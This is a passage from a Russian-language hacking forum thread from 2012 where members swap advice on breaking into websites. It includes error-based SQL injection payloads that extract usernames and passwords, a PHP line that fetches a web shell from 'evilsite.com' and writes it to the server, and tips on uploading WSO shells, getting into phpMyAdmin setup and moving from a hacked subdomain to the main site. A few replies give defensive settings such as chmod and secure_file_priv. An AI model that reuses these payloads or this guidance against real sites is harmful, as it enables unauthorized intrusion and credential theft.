Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. абвгдешка

    Joined:
    2 May 2011
    Messages:
    48
    Likes Received:
    13
    Reputations:
    1
    DELITE
     
    #20421 абвгдешка, 19 May 2012
    Last edited: 19 May 2012
  2. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    to абвгдешка
    Code:
    -1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3) x GROUP BY MID((SELECT+CONCAT_WS(0x3a,user,pass)+from+users+limit+0,1), FLOOR(RAND(0)*2), 64))
     
    1 person likes this.
  3. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    to bodrich
    У Вас не получается, потому как может стоять FreeBSD там нет wget'a там fetch стоит по умолчанию,a лучше делать через file_put_contents("shell.php",file_get_contents("http://evilsite.com/shell.txt"))
    Может уже есть там такой файл? И лейте в папку со смайлами!
     
  4. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    Ребята что можно сделать с такой проблемой - Есть данные бд от сайта но подключиться можно только по localhost , как быть с удаленным подключением ?
     
  5. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Никак!
     
  6. stan0009

    stan0009 Member

    Joined:
    30 Jul 2010
    Messages:
    118
    Likes Received:
    5
    Reputations:
    0
    Товарищи!
    Тема: phpmyadmin
    имеется доступ к /scripts/setup.php
    точнее: версия 2.11.2.2
    сплоиты не пашут.
    Можно ли что-то сотворить чтобы войти в админку?
    спасибо.
    PS: на кнопки хоть тыкай, хоть нет: config.inc.php пуст,как добавить нового юзера понятия не имею
     
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Добрый вечер, парни. Вопрос такого характера. На днях столкнулся с, казалось бы идеальным вариантом заливки через GET-запрос в адресной строке браузера: file_priv == Y, MQ == off, раскрытие путей, все дела.

    Быстро просканив директории сайта, на предмет каталогов, куда бы залить бекдор, меня везде ждал облом. Я списал это на отсутствие прав на запись.

    Однако, поскольку сайт бы русскоязычный, я предположил, что там возможно присутствие папки Sape, которая всегда 0777. Так, вот имея все вводные данные, описанные выше, я не смог прочитать через load_file исходный код страницы index.php. Вообще никаких. /etc/passwd, мускульные конфиги - да, но только не файлы из каталогов самого сайта.

    Я где-то читал, что мускул имеет возможную настройку, на запрет чтения файлов из каталога сайта, что именно и было в моем случае, как я понял. Был бы признателен за ссылки по этому вопросу - как настраивается подобная фича, где почитать?

    Ведь это можно считать довольно неплохим рубежом защиты и для своего проекта.

    Спасибо за любую помощь(в гугле не забанен, но что-то ничего не нашел, релевантное моему вопросу.)
     
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    Га-Ноцри

    если смотреть со стороны привилегий то Пользователь mysql находится в группе "others" для серверных файлов, стоит просто чмодить файлы веба, сделать нечитабельными для "others" и все станет на место

    chmod 750, допустим

    по поводу мускулного запрета (secure_file_priv) , читай тут
     
    _________________________
    #20428 Konqi, 21 May 2012
    Last edited: 21 May 2012
    3 people like this.
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Большое спасибо за пояснение. Вопрос исчерпан. Углубился в чтение :)
     
  10. VsemTrololo

    VsemTrololo Banned

    Joined:
    17 May 2012
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Зачем вот так усложнять запрос?
    Лишнее палево в логах.
    Code:
     1' or 1 group by concat(version(),rand(0)|) having min(0)
    Having min(0) не всегда нужен.
     
  11. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    У Вас ошибка молодой человек, решили "поумничать", так писали бы правильно!
    Code:
     1' or 1 group by concat(version(),rand(0)|[b]0[/b]) having min(0)
     
  12. VsemTrololo

    VsemTrololo Banned

    Joined:
    17 May 2012
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Опечатка настолько действительна?
    Я думаю кому это реально интересно, сможет заметить.
    И откуда тебе знать, может это скрипт киддинг?
     
  13. HeaVeNSeR

    HeaVeNSeR Member

    Joined:
    3 Dec 2008
    Messages:
    176
    Likes Received:
    11
    Reputations:
    1
    ребят,а заливал кто шелл в cms-ку Cartweaver
    поимел админку,а залиться не выходит...нашел блайнд-скулю,но через неё тоже не вышло...тем более mysql <5
    если есть умельцы,отзовитесь,пожалуйста...очень важно :rolleyes:
     
  14. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Узнать кто хостер, и взять тест на пару дней, многие хостеры предоставляют такую услугу. Ну а дальше дело техники...
     
  15. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    /**/
     
  16. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108


    В дополнение, могу упомянуть возможность использования php технологий gid-uid - те верификации пользователя:группы при запуске скрипта. Как-то: suexec, apache-mpm etc. В таком случае, скорее всего, даже если директория будет 0777 - nто если uid MYSQL(user) отличается от владельца(создателя) файла(директории) в корне сайта - то не прочтешь и не зальешь. В таком случае надо искать директории на которые выставлены специфические права позволяющие это делать.
     
    1 person likes this.
  17. CheatXX

    CheatXX New Member

    Joined:
    8 Jun 2009
    Messages:
    154
    Likes Received:
    2
    Reputations:
    0
    Подскажите пожалуйста, залил шел wso2 на форум (forum.site.ru), возможно ли как то получить доступ к файлам site.ru? простой переход на директорию ниже не выходит

    Safe mode: OFF
    Open base dir: var/www/u1111/www/forum.site.ru
     
    #20437 CheatXX, 22 May 2012
    Last edited: 22 May 2012
  18. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Нетривиальный вопрос.

    Варианты ответов:

    Если домен на одной тачке с поддоменом:

    1) Да, поднимись выше в директории и пошарься там, если права позволяют

    2) Да, поднимись выше в директории и пошарься там, предварительно рутнув хост


    Если домен на разных тачках с поддоменом:

    1) Да, если при коннекте в бд всплыла БД основного сайта. Меняешь что надо - цепляйешься в админку самого домена и льёшь новый шелл.

    2) Нет, не фартануло, не повезло.

    Конечно, есть вариации....
     
    _________________________
  19. CheatXX

    CheatXX New Member

    Joined:
    8 Jun 2009
    Messages:
    154
    Likes Received:
    2
    Reputations:
    0
    На одном хостинге, выше подняться не позволяют права, мне даже не то что бы доступ к файлам нужен был, а получить список файлов (ардрес админки найти)
     
    #20439 CheatXX, 22 May 2012
    Last edited: 22 May 2012
  20. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    у форума адрес админки никак не выше директивы с самим форумом, либо в этой же директории, либо в поддиректории.

    Читай php файлы - увидешь как и куда логиниться
     
    _________________________
Thread Status:
Not open for further replies.